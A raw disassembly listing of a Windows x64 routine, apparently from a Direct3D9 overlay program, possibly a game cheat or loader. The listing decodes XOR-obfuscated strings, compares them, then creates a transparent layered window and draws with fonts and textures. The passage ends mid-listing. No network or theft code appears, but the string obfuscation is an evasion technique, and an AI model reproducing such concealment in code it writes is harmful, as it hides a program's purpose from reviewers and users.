movdqa xmm0, xmmword [rbp + 0x1bb0]
mov r9d, 0x1000
mov qword [rbp + 0x13e8], rcx
mov r8, rax
pxor xmm0, xmmword [rbp + 0x13e0]
movabs rcx, 0x1e581b8f4f06318e
mov qword [rbp + 0x13f0], rcx
movabs rcx, 0x985a66929b707695
mov qword [rbp + 0x13f8], rcx
movabs rcx, 0xf579bfdcaf7f7593
movdqa xmm1, xmmword [rbp + 0x13f0]
mov qword [rbp + 0x1400], rcx
movabs rcx, 0x70d289dc142a739d
mov qword [rbp + 0x1408], rcx
movabs rcx, 0x10ede199ed423d8f
mov qword [rbp + 0x1410], rcx
movabs rcx, 0xc0319789ab023199
mov qword [rbp + 0x1418], rcx
movabs rcx, 0x8f31c907d4d7f95
mov qword [rbp + 0x1420], rcx
movabs rcx, 0x190855fce5f86399
mov qword [rbp + 0x1428], rcx
movabs rcx, 0x4d786ffc2a5211fc
mov qword [rbp + 0x1bc0], rcx
movabs rcx, 0xf57a01fcf21e11fc
mov qword [rbp + 0x1bc8], rcx
movabs rcx, 0x8610dbfc831a11fc
pxor xmm1, xmmword [rbp + 0x1bc0]
mov qword [rbp + 0x1bd0], rcx
movabs rcx, 0x19bafdfc714611fc
mov qword [rbp + 0x1bd8], rcx
movabs rcx, 0x628287fc8f6211fc
mov qword [rbp + 0x1be0], rcx
movabs rcx, 0xa852f9fcca6e11fc
mov qword [rbp + 0x1be8], rcx
movabs rcx, 0x6c9273fc5d2a11fc
movdqa xmmword [rbp + 0x13e0], xmm0
movdqa xmm0, xmmword [rbp + 0x1400]
pxor xmm0, xmmword [rbp + 0x1bd0]
mov qword [rbp + 0x1bf0], rcx
movabs rcx, 0x190855fce5d611fc
movdqa xmmword [rbp + 0x13f0], xmm1
movdqa xmm1, xmmword [rbp + 0x1410]
pxor xmm1, xmmword [rbp + 0x1be0]
movdqa xmmword [rbp + 0x1400], xmm0
movdqa xmm0, xmmword [rbp + 0x1420]
mov qword [rbp + 0x1bf8], rcx
xor ecx, ecx
pxor xmm0, xmmword [rbp + 0x1bf0]
movdqa xmmword [rbp + 0x1420], xmm0
movdqa xmmword [rbp + 0x1410], xmm1
call rbx
mov rdx, qword [rbp + 0x1488]
cmp rdx, 0x10
jb 0x140053cfb
mov rcx, qword [rbp + 0x1470]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140053cf6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a15d
call fcn.14009aa1c
xor edi, edi
mov qword [rbp + 0x1488], 0xf
mov qword [rbp + 0x1480], rdi
mov byte [rbp + 0x1470], dil
call fcn.140094550
call fcn.140093510
test al, al
je 0x140053d29
call fcn.140094550
mov ecx, 8
call fcn.14009a9e0
test rax, rax
je 0x140053d44
lea rcx, [0x140093f90]
mov qword [rax], rcx
jmp 0x140053d47
mov rax, rdi
lea rcx, [rbp + 0x48]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14004ee60]
xor ecx, ecx
mov dword [rsp + 0x20], edi
xor edx, edx
call fcn.1400ca5d0
mov qword [rbp + 0x40], rax
test rax, rax
je 0x14005a187
cmp dword [rbp + 0x48], 0
je 0x14005a195
movaps xmm0, xmmword [rbp + 0x40]
lea rcx, [rbp + 0x20]
movdqa xmmword [rbp + 0x20], xmm0
call fcn.140099b38
test eax, eax
jne 0x14005a13d
xorps xmm0, xmm0
lea ecx, [rax + 8]
movdqa xmmword [rbp + 0x40], xmm0
call fcn.14009a9e0
test rax, rax
je 0x140053db2
mov qword [rax], r13
jmp 0x140053db5
mov rax, rdi
lea rcx, [rbp + 0x68]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14004ee60]
xor ecx, ecx
mov dword [rsp + 0x20], edi
xor edx, edx
call fcn.1400ca5d0
mov qword [rbp + 0x60], rax
test rax, rax
je 0x14005a179
cmp dword [rbp + 0x68], 0
je 0x14005a195
movaps xmm0, xmmword [rbp + 0x60]
lea rcx, [rbp + 0x20]
movdqa xmmword [rbp + 0x20], xmm0
call fcn.140099b38
test eax, eax
jne 0x14005a145
xorps xmm0, xmm0
lea ecx, [rax + 8]
movdqa xmmword [rbp + 0x60], xmm0
call fcn.14009a9e0
test rax, rax
je 0x140053e27
lea rcx, [0x140093650]
mov qword [rax], rcx
jmp 0x140053e2a
mov rax, rdi
lea rcx, [rbp + 0x58]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14004ee60]
xor ecx, ecx
mov dword [rsp + 0x20], edi
xor edx, edx
call fcn.1400ca5d0
mov qword [rbp + 0x50], rax
test rax, rax
je 0x14005a16b
cmp dword [rbp + 0x58], 0
je 0x14005a195
movaps xmm0, xmmword [rbp + 0x50]
lea rcx, [rbp + 0x20]
movdqa xmmword [rbp + 0x20], xmm0
call fcn.140099b38
test eax, eax
jne 0x14005a14d
xorps xmm0, xmm0
lea rcx, [0x1402a74c8]
xor r8d, r8d
movdqa xmmword [rbp + 0x50], xmm0
mov edx, 0x100
call fcn.14004a1a0
cmp qword [0x1402a74e0], 0x10
lea rcx, [0x1402a74c8]
mov r8, qword [0x1402a74d8]
cmovae rcx, qword [0x1402a74c8]
xor edx, edx
call fcn.1400b6650
movabs rax, 0x1328a2887f6e3ed2
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x8f0], rax
mov rbx, 0xffffffffffffffff
movabs rax, 0x4b0e5fc0c367f95
mov qword [rbp + 0x38], r14
movdqa xmm0, xmmword [rbp + 0x30]
mov qword [rbp + 0x8f8], rax
lea rax, [rbp + 0x8f0]
pxor xmm0, xmmword [rbp + 0x8f0]
movdqa xmmword [rbp + 0x8f0], xmm0
mov qword [rbp + 0xe80], rdi
mov qword [rbp + 0xe90], rdi
mov qword [rbp + 0xe98], 0xf
inc rbx
cmp byte [rax + rbx], 0
jne 0x140053f22
lea rcx, [rbp + 0xe80]
cmp rbx, 0xf
ja 0x140053f58
mov r8, rbx
mov qword [rbp + 0xe90], rbx
lea rdx, [rbp + 0x8f0]
call fcn.1400b76e0
mov byte [rbp + rbx + 0xe80], 0
jmp 0x140053f6f
lea r9, [rbp + 0x8f0]
mov qword [rsp + 0x20], rbx
xor r8d, r8d
mov rdx, rbx
call fcn.1400424c0
mov r9d, 0x40
mov dword [rsp + 0x20], r15d
mov r8d, r15d
lea rdx, [rbp + 0xe80]
lea rcx, [rbp + 0x6b0]
call fcn.14004a300
cmp qword [rbp + 0x740], 0
mov ebx, 2
movabs r13, 0x174cfab47c6826b4
je 0x14005437a
mov rax, qword [rbp + 0x6b0]
mov dl, 0xa
mov qword [rbp + 0x9b0], rdi
mov qword [rbp + 0x9c0], rdi
mov qword [rbp + 0x9c8], 0xf
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x6b0]
add rcx, rax
call fcn.140049830
movzx r8d, al
lea rdx, [rbp + 0x9b0]
lea rcx, [rbp + 0x6b0]
call fcn.14004ee90
cmp qword [rbp + 0x9c0], r15
jbe 0x1400542e2
mov qword [rbp + 0xca0], r13
movabs rbx, 0xf57a01fcf21e11fc
movabs r13, 0x4d786ffc2a5211fc
mov qword [rbp + 0xcb8], rbx
mov qword [rbp + 0xcb0], r13
movabs rax, 0x7e88909f40715793
movdqa xmm1, xmmword [rbp + 0xcb0]
mov r8, 0xffffffffffffffff
mov qword [rbp + 0xca8], rax
lea rax, [rbp + 0xca0]
mov qword [rbp + 0x1a50], r12
mov qword [rbp + 0x1a58], r14
movdqa xmm0, xmmword [rbp + 0x1a50]
pxor xmm0, xmmword [rbp + 0xca0]
mov qword [rbp + 0x1a60], r13
mov qword [rbp + 0x1a68], rbx
pxor xmm1, xmmword [rbp + 0x1a60]
movdqa xmmword [rbp + 0xcb0], xmm1
movdqa xmmword [rbp + 0xca0], xmm0
mov qword [rbp + 0xce0], rdi
mov qword [rbp + 0xcf0], rdi
mov qword [rbp + 0xcf8], 0xf
inc r8
cmp byte [rax + r8], 0
jne 0x1400540b3
lea rdx, [rbp + 0xca0]
lea rcx, [rbp + 0xce0]
call fcn.14000c110
movabs rax, 0x28748fc97738288e
mov qword [rbp + 0x1a70], r12
mov qword [rbp + 0xed0], rax
movabs rcx, 0x8610dbfc831a11fc
movabs rax, 0x4dfeaa8d750352cc
mov qword [rbp + 0xef0], rcx
mov qword [rbp + 0xed8], rax
mov r8, 0xffffffffffffffff
movabs rax, 0x7e1d3eb15b6325ca
mov qword [rbp + 0x1a78], r14
movdqa xmm0, xmmword [rbp + 0x1a70]
pxor xmm0, xmmword [rbp + 0xed0]
mov qword [rbp + 0xee0], rax
movabs rax, 0x813f70a49f2c50bb
mov qword [rbp + 0xee8], rax
movabs rax, 0x19bafdfc714611fc
movdqa xmm1, xmmword [rbp + 0xee0]
mov qword [rbp + 0xef8], rax
movdqa xmmword [rbp + 0xed0], xmm0
movdqa xmm0, xmmword [rbp + 0xef0]
mov qword [rbp + 0x1a98], rax
lea rax, [rbp + 0xed0]
mov qword [rbp + 0x1a80], r13
mov qword [rbp + 0x1a88], rbx
pxor xmm1, xmmword [rbp + 0x1a80]
mov qword [rbp + 0x1a90], rcx
pxor xmm0, xmmword [rbp + 0x1a90]
movdqa xmmword [rbp + 0xef0], xmm0
movdqa xmmword [rbp + 0xee0], xmm1
mov qword [rbp + 0xcc0], rdi
mov qword [rbp + 0xcd0], rdi
mov qword [rbp + 0xcd8], 0xf
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400541d0
lea rdx, [rbp + 0xed0]
lea rcx, [rbp + 0xcc0]
call fcn.14000c110
lea r9, [rbp + 0xce0]
lea r8, [rbp + 0xcc0]
lea rdx, [rbp + 0x9b0]
lea rcx, [rbp + 0x15c0]
call fcn.14004e920
mov rdx, rax
lea rcx, [0x1402a74c8]
call fcn.14000ae00
lea rcx, [rbp + 0x15c0]
call fcn.1400096e0
mov rdx, qword [rbp + 0xcd8]
cmp rdx, 0x10
jb 0x14005426a
mov rcx, qword [rbp + 0xcc0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054265
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a15d
call fcn.14009aa1c
mov rdx, qword [rbp + 0xcf8]
mov qword [rbp + 0xcd0], rdi
mov qword [rbp + 0xcd8], 0xf
mov byte [rbp + 0xcc0], 0
cmp rdx, 0x10
jb 0x1400542c4
mov rcx, qword [rbp + 0xce0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400542bf
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a15d
call fcn.14009aa1c
mov qword [rbp + 0xcf0], rdi
mov ebx, 2
mov qword [rbp + 0xcf8], 0xf
mov byte [rbp + 0xce0], 0
lea rcx, [rbp + 0x6c0]
call fcn.14004a7b0
test rax, rax
jne 0x140054320
mov rax, qword [rbp + 0x6b0]
mov edx, 6
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x6b0]
add rcx, rax
cmp qword [rcx + 0x48], 0
cmovne edx, ebx
xor r8d, r8d
or edx, dword [rcx + 0x10]
call fcn.14003c930
mov rdx, qword [rbp + 0x9c8]
cmp rdx, 0x10
jb 0x140054361
mov rcx, qword [rbp + 0x9b0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005435c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a15d
call fcn.14009aa1c
mov qword [rbp + 0x9c0], rdi
mov qword [rbp + 0x9c8], 0xf
mov byte [rbp + 0x9b0], 0
mov qword [rbp + 0x9d8], r14
lea rcx, [rbp + 0x1490]
movabs rax, 0x7175b0997d69648f
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x9d0], rax
mov qword [rbp + 0x38], r14
movdqa xmm0, xmmword [rbp + 0x30]
pxor xmm0, xmmword [rbp + 0x9d0]
movdqa xmmword [rbp + 0x9d0], xmm0
call fcn.1400452c0
lea rdx, [rbp + 0x9d0]
mov rcx, rax
call fcn.14004ee10
mov rdx, qword [rbp + 0x14a8]
movzx ebx, al
cmp rdx, 0x10
jb 0x14005440e
mov rcx, qword [rbp + 0x1490]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140054409
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005a15d
call fcn.14009aa1c
mov qword [rbp + 0x14a0], rdi
mov qword [rbp + 0x14a8], 0xf
mov byte [rbp + 0x1490], 0
test bl, bl
jne 0x140054430
call fcn.140094550
lea rcx, [rbp + 0x1450]
call fcn.140048080
mov r8, qword [rbp + 0x1468]
cmp r8, 0x10
jb 0x14005445f
mov rdx, qword [rbp + 0x1450]
lea rcx, [rbp + 0x1450]
inc r8
call fcn.140009af0
cmp qword [0x1402a7498], 0x10
lea rdx, [0x1402a7480]
mov r8, qword [0x1402a73f0]
lea rcx, [0x1402a73e0]
cmovae rdx, qword [0x1402a7480]
cmp qword [0x1402a73f8], 0x10
mov qword [rbp + 0x1460], rdi
cmovae rcx, qword [0x1402a73e0]
cmp r8, qword [0x1402a7490]
mov qword [rbp + 0x1468], 0xf
mov byte [rbp + 0x1450], 0
jne 0x14005a0e5
call fcn.1400b75e0
test eax, eax
jne 0x14005a0e5
movabs rax, 0x7162a6907c6b7fb9
mov qword [rbp + 0x928], r14
mov qword [rbp + 0x920], rax
lea rcx, [rbp + 0x920]
mov qword [rbp + 0x30], r12
mov rax, 0xffffffffffffffff
mov qword [rbp + 0x38], r14
movdqa xmm0, xmmword [rbp + 0x30]
pxor xmm0, xmmword [rbp + 0x920]
movdqa xmmword [rbp + 0x920], xmm0
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140054510
cmp qword [0x1402a7418], 0x10
lea rcx, [0x1402a7400]
mov r8, qword [0x1402a7410]
cmovae rcx, qword [0x1402a7400]
cmp r8, rax
jne 0x14005a0e5
lea rdx, [rbp + 0x920]
call fcn.1400b75e0
test eax, eax
jne 0x14005a0e5
lea rdx, [0x140043040]
lea rcx, [rbp + 0x1b0]
call fcn.14004ed90
cmp dword [rbp + 0x1b8], 0
je 0x14005a195
movaps xmm0, xmmword [rbp + 0x1b0]
lea rcx, [rbp + 0x20]
movdqa xmmword [rbp + 0x20], xmm0
call fcn.140099b38
test eax, eax
jne 0x14005a155
xorps xmm0, xmm0
lea edx, [rax + 0x10]
lea rcx, [rbp + 0x15e0]
movdqa xmmword [rbp + 0x1b0], xmm0
call fcn.1400963c0
mov r13, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400545b8
mov r13, qword [rax]
lea rcx, [rbp + 0x15e0]
call fcn.1400096e0
lea rax, [0x14004f9c0]
mov qword [rbp + 0x4d0], 3
mov edx, 0x7f00
mov qword [rbp + 0x4d8], rax
xor ecx, ecx
mov qword [rbp + 0x4e0], rdi
mov qword [rbp + 0x4f0], rdi
mov qword [rbp + 0x508], rdi
mov qword [rbp + 0x4e8], rsi
mov qword [rbp + 0x510], r13
call qword [sym.imp.USER32.dll_LoadCursorA]
lea rcx, [rbp + 0x4d0]
mov qword [rbp + 0x500], 0xc
mov qword [rbp + 0x4f8], rax
call qword [sym.imp.USER32.dll_RegisterClassA]
test ax, ax
je 0x140057def
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x14b0]
call qword [sym.imp.USER32.dll_GetWindowRect]
movd xmm0, dword [rbp + 0x14b8]
mov r9d, 0x80000000
movss xmm7, dword [0x1400fe9d8]
cvttss2si ecx, dword [0x1402a74c0]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
cvttss2si eax, dword [0x1402a74c4]
movss xmm11, dword [0x1400fea18]
cvtdq2ps xmm0, xmm0
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
xor ecx, ecx
mulss xmm0, xmm7
subss xmm0, xmm11
cvttss2si r8d, xmm0
movd xmm0, dword [rbp + 0x14bc]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm7
subss xmm0, dword [0x1400fea08]
cvttss2si edx, xmm0
mov dword [rsp + 0x28], edx
mov rdx, r13
mov dword [rsp + 0x20], r8d
mov r8, r13
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov r12, rax
test rax, rax
jne 0x1400546ea
lea r15d, [rax + 2]
jmp 0x140057def
mov ecx, 0x20
call sub.d3d9.dll_Direct3DCreate9
mov rbx, rax
test rax, rax
jne 0x140054708
mov rdx, rsi
mov rcx, r13
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov qword [0x1402a78b0], rdi
mov r9, r12
mov qword [0x1402a78bc], rdi
mov r8d, r15d
mov dword [0x1402a78c4], edi
xor edx, edx
mov qword [0x1402a78cc], rdi
mov rcx, rbx
mov dword [0x1402a78d4], edi
mov qword [0x1402a78e4], rdi
mov dword [0x1402a78d8], r15d
mov dword [0x1402a78c8], r15d
mov dword [0x1402a78b8], edi
mov dword [0x1402a78dc], r15d
mov dword [0x1402a78e0], 0x50
mov dword [0x1402a78ec], r15d
mov rax, qword [rbx]
mov r10, qword [rax + 0x80]
lea rax, [0x1402a73d8]
mov qword [rsp + 0x30], rax
lea rax, [0x1402a78b0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x40
call r10
test eax, eax
jns 0x1400547b2
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
mov rdx, rsi
mov rcx, r13
call qword [sym.imp.USER32.dll_UnregisterClassA]
jmp 0x140057def
mov edx, 0xffffffec
mov rcx, r12
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov edx, 0xffffffec
mov rcx, r12
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, r15d
mov r8b, 0x9b
mov edx, 0xff
mov rcx, r12
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov edx, 0xa
mov rcx, r12
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, r12
call qword [sym.imp.USER32.dll_UpdateWindow]
xor ecx, ecx
call fcn.14005ffc0
call fcn.140063060
lea rcx, [rbp + 0x17e0]
mov rdi, rax
call fcn.140071020
mov byte [rbp + 0x17ec], 0
mov rbx, qword [rdi + 0xa0]
mov rcx, rbx
call fcn.140075b50
movss xmm2, dword [0x1400fe9f4]
lea r9, [rbp + 0x17e0]
movabs rcx, 0x1e62ad9569252bbf
mov qword [rsp + 0x20], rax
mov qword [rbp + 0xf00], rcx
lea rdx, [rbp + 0xf00]
movabs rcx, 0x77c48b936a19628b
movabs r14, 0x240a0d95463372d3
mov qword [rbp + 0xf08], rcx
movabs rsi, 0xf57a01fc946a65d2
mov qword [rbp + 0xf10], r14
movabs rcx, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x19f0], rcx
movabs rcx, 0x4b0e5fc0c3611fc
mov qword [rbp + 0x19f8], rcx
movabs rcx, 0x4d786ffc2a5211fc
movdqa xmm0, xmmword [rbp + 0x19f0]
pxor xmm0, xmmword [rbp + 0xf00]
mov qword [rbp + 0x1a00], rcx
movabs rcx, 0xf57a01fcf21e11fc
mov qword [rbp + 0xf18], rsi
movdqa xmm1, xmmword [rbp + 0xf10]
mov qword [rbp + 0x1a08], rcx
mov rcx, rbx
pxor xmm1, xmmword [rbp + 0x1a00]
movdqa xmmword [rbp + 0xf10], xmm1
movdqa xmmword [rbp + 0xf00], xmm0
call fcn.1400721f0
lea rcx, [rbp + 0x1870]
call fcn.140071020
movss xmm3, dword [0x1400fe9f8]
lea rax, [0x1400fe9b0]
mov qword [rsp + 0x28], rax
lea rdx, str.OTTO
lea rax, [rbp + 0x1870]
mov byte [rbp + 0x18b8], r15b
mov byte [rbp + 0x1890], r15b
mov r8d, 0x15d490
mov rcx, qword [rdi + 0xa0]
mov qword [rsp + 0x20], rax
call fcn.1400727d0
mov rbx, qword [rdi + 0xa0]
mov rcx, rbx
call fcn.140075b50
movabs rcx, 0x1e62ad9569252bbf
mov qword [rbp + 0xfd0], r14
mov qword [rbp + 0xfc0], rcx
movabs rcx, 0x77c48b936a19628b
mov qword [rbp + 0xfc8], rcx
movabs rcx, 0x7106c3fc1e0a11fc
mov qword [rbp + 0x1a10], rcx
movabs rcx, 0x4b0e5fc0c3611fc
mov qword [rbp + 0xfd8], rsi
movdqa xmm1, xmmword [rbp + 0xfd0]
lea r9, [rbp + 0x17e0]
movss xmm2, dword [0x1400fe9e0]
lea rdx, [rbp + 0xfc0]
mov qword [rbp + 0x1a18], rcx
movabs rcx, 0x4d786ffc2a5211fc
movdqa xmm0, xmmword [rbp + 0x1a10]
pxor xmm0, xmmword [rbp + 0xfc0]
mov qword [rbp + 0x1a20], rcx
movabs rcx, 0xf57a01fcf21e11fc
mov qword [rbp + 0x1a28], rcx
mov rcx, rbx
pxor xmm1, xmmword [rbp + 0x1a20]
movdqa xmmword [rbp + 0xfd0], xmm1
movdqa xmmword [rbp + 0xfc0], xmm0
mov qword [rsp + 0x20], rax
call fcn.1400721f0
mov qword [0x1402a7928], rax
mov rbx, qword [rdi + 0xa0]
mov rcx, rbx
call fcn.140075b50
movss xmm2, dword [0x1400fe9e4]
lea r9, [rbp + 0x17e0]
mov qword [rbp + 0xff0], r14
lea rdx, [rbp + 0xfe0]
mov qword [rbp + 0xff8], rsi
movabs rcx, 0x1e62ad9569252bbf
movdqa xmm1, xmmword [rbp + 0xff0]
movabs r14, 0x7106c3fc1e0a11fc
mov qword [rbp + 0xfe0], rcx
movabs rdi, 0x4b0e5fc0c3611fc
movabs rcx, 0x77c48b936a19628b
mov qword [rbp + 0x1a30], r14
mov qword [rbp + 0xfe8], rcx
movabs rcx, 0x4d786ffc2a5211fc
mov qword [rbp + 0x1a40], rcx
movabs rcx, 0xf57a01fcf21e11fc
mov qword [rbp + 0x1a48], rcx
mov rcx, rbx
pxor xmm1, xmmword [rbp + 0x1a40]
mov qword [rbp + 0x1a38], rdi
movdqa xmm0, xmmword [rbp + 0x1a30]
pxor xmm0, xmmword [rbp + 0xfe0]
movdqa xmmword [rbp + 0xff0], xmm1
movdqa xmmword [rbp + 0xfe0], xmm0
mov qword [rsp + 0x20], rax
call fcn.1400721f0
xor ebx, ebx
mov qword [0x1402a7930], rax
cmp qword [0x1402a73d0], rbx
jne 0x140054b8a
mov rcx, qword [0x1402a73d8]
lea rax, [0x1402a73d0]
mov qword [rsp + 0x70], rax
lea rdx, [0x14013d0a0]
mov qword [rsp + 0x68], rbx
mov r9d, 0x400
mov qword [rsp + 0x60], rbx
mov r8d, 0x8232
mov dword [rsp + 0x58], ebx
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x400
call sub.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx
mov rcx, r12
call fcn.140082ac0
mov rcx, qword [0x1402a73d8]
call fcn.140081e50
xor ecx, ecx
call fcn.140079d10
movss xmm9, dword [0x1400fea4c]
xorps xmm0, xmm0
movss xmm14, dword [0x140120f74]
movss xmm15, dword [0x1400fea00]
movss xmm10, dword [0x1400fe9dc]
movss xmm6, dword [0x1400fea44]
movss xmm8, dword [0x1400fea58]
movss xmm13, dword [0x1400fea14]
movss xmm12, dword [0x1400fea38]
movups xmmword [rbp + 0x520], xmm0
movups xmmword [rbp + 0x530], xmm0
movups xmmword [rbp + 0x540], xmm0
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, [rbp + 0x520]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140054c41
lea rcx, [rbp + 0x520]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x520]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x140057d83
call fcn.140081f10
call fcn.140082bd0
call fcn.140068c30
call fcn.1400635a0
mov byte [rax + 0xa9], r15b
call fcn.1400635a0
mov byte [rax + 0xa8], r15b
call fcn.1400635a0
mov dword [rax + 0xb0], 0x42400000
call fcn.1400635a0
xor edx, edx
lea rcx, [rbp + 0x148]
mov dword [rax + 0xac], 0x3f800000
mov dword [rbp + 0x148], 0x44160000
mov dword [rbp + 0x14c], 0x43af0000
call fcn.14006d910
lea r8, [rbp + 0x150]
mov qword [rbp + 0x150], 0
xor edx, edx
mov qword [rbp + 0x158], 0
lea rcx, [rbp + 0x158]
call fcn.14006d880
lea rdx, [rbp + 0xe8]
mov qword [rbp + 0xe8], 0
mov ecx, r15d
call fcn.14006a790
movss xmm1, dword [0x1400fe9e8]
mov esi, 2
mov ecx, esi
call fcn.14006a870
xorps xmm1, xmm1
lea ecx, [rsi + 1]
call fcn.14006a870
movaps xmm1, xmm14
lea ecx, [rsi + 0xe]
call fcn.14006a870
movaps xmm0, xmmword [0x1400fead0]
lea rdx, [rbp + 0x688]
mov ecx, esi
movups xmmword [rbp + 0x688], xmm0
call fcn.14006a730
movaps xmm0, xmmword [0x1400feab0]
lea rdx, [rbp + 0x698]
xor ecx, ecx
movups xmmword [rbp + 0x698], xmm0
call fcn.14006a730
movaps xmm0, xmmword [0x1400fea60]
lea rdx, [rbp + 0x5a8]
lea ecx, [rsi + 0xc]
movups xmmword [rbp + 0x5a8], xmm0
call fcn.14006a730
movabs rax, 0x5174a6946a657fbd
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x9e0], rax
lea rcx, [rbp + 0x9e0]
movabs rax, 0x4b09293685878ab
mov qword [rbp + 0x38], rdi
movdqa xmm0, xmmword [rbp + 0x30]
xor edx, edx
mov qword [rbp + 0x9e8], rax
mov r8d, 0x13b
pxor xmm0, xmmword [rbp + 0x9e0]
movdqa xmmword [rbp + 0x9e0], xmm0
call fcn.14005c300
lea rcx, [rbp + 0x550]
call fcn.1400636c0
movss xmm0, dword [rax]
movss dword [0x1402a7900], xmm0
movss xmm1, dword [rax + 4]
movss dword [0x1402a7904], xmm1
call fcn.140063690
movss xmm3, dword [0x1402a7900]
movss xmm2, dword [0x1402a7904]
movaps xmm0, xmm3
addss xmm0, xmm9
mov qword [0x1402a73b0], rax
mov dword [rbp + 0x160], 0x3f800000
movaps xmm1, xmm2
mov dword [rbp + 0x164], 0x3f800000
mov qword [rbp + 0x170], 0
movss dword [rbp + 0x190], xmm0
addss xmm1, dword [0x1400fea48]
mov rdx, qword [0x1402a73d0]
lea rcx, [rbp + 0x160]
mov dword [rsp + 0x30], 0xffffffff
lea r9, [rbp + 0x190]
mov qword [rsp + 0x28], rcx
lea r8, [rbp + 0x198]
lea rcx, [rbp + 0x170]
movss dword [rbp + 0x198], xmm3
mov qword [rsp + 0x20], rcx
mov rcx, rax
movss dword [rbp + 0x194], xmm1
movss dword [rbp + 0x19c], xmm2
call fcn.140072b40
call fcn.140063690
lea rcx, [rbp + 0x10]
mov rsi, rax
call fcn.1400636c0
movaps xmm0, xmmword [0x1400fea80]
lea rcx, [rbp + 0x5b8]
movups xmmword [rbp + 0x5b8], xmm0
call fcn.14005fee0
movss xmm3, dword [rbp + 0x10]
lea r8, [rbp + 0x80]
movss xmm2, dword [rbp + 0x14]
lea rdx, [rbp + 0x88]
movaps xmm0, xmm3
mov dword [rsp + 0x28], 3
addss xmm0, dword [0x1400fea50]
movaps xmm1, xmm2
movss dword [rbp + 0x88], xmm3
addss xmm1, xmm15
movss dword [rbp + 0x8c], xmm2
mov r9d, eax
movss dword [rsp + 0x20], xmm10
mov rcx, rsi
movss dword [rbp + 0x80], xmm0
movss dword [rbp + 0x84], xmm1
call fcn.140073cd0
movaps xmm0, xmmword [0x1400fea90]
lea rcx, [rbp + 0x5c8]
movups xmmword [rbp + 0x5c8], xmm0
call fcn.14005fee0
movss xmm3, dword [rbp + 0x10]
lea r8, [rbp + 0x90]
movss xmm2, dword [rbp + 0x14]
lea rdx, [rbp + 0x98]
movaps xmm1, xmm2
mov dword [rsp + 0x28], 0xf
addss xmm2, dword [0x1400fe9ec]
movaps xmm0, xmm3
movss dword [rbp + 0x98], xmm3
addss xmm0, xmm9
movss dword [rsp + 0x20], xmm10
addss xmm1, xmm6
mov r9d, eax
mov rcx, rsi
movss dword [rbp + 0x9c], xmm2
movss dword [rbp + 0x90], xmm0
movss dword [rbp + 0x94], xmm1
call fcn.140073cd0
movaps xmm0, xmmword [0x1400feaa0]
lea rcx, [rbp + 0x5d8]
movups xmmword [rbp + 0x5d8], xmm0
call fcn.14005fee0
movss xmm2, dword [rbp + 0x10]
lea r8, [rbp + 0xa0]
movss xmm1, dword [rbp + 0x14]
lea rdx, [rbp + 0xa8]
addss xmm1, xmm6
mov dword [rsp + 0x28], 0xc
movaps xmm0, xmm2
movss dword [rbp + 0xa8], xmm2
addss xmm0, xmm9
movss dword [rsp + 0x20], xmm10
mov r9d, eax
mov rcx, rsi
movss dword [rbp + 0xa4], xmm1
movss dword [rbp + 0xac], xmm1
movss dword [rbp + 0xa0], xmm0
call fcn.140073cd0
mov rcx, qword [0x1402a7928]
call fcn.14006a500
call fcn.14006a0d0
lea rcx, [rbp + 0xb0]
mov dword [rbp + 0xb0], 0
mov dword [rbp + 0xb4], 0x41a00000
call fcn.14006d5d0
cmp dword [0x1402a78f4], 0
jne 0x14005598f
movss xmm6, dword [0x1402a7900]
lea rdx, [rbp + 0x9f0]
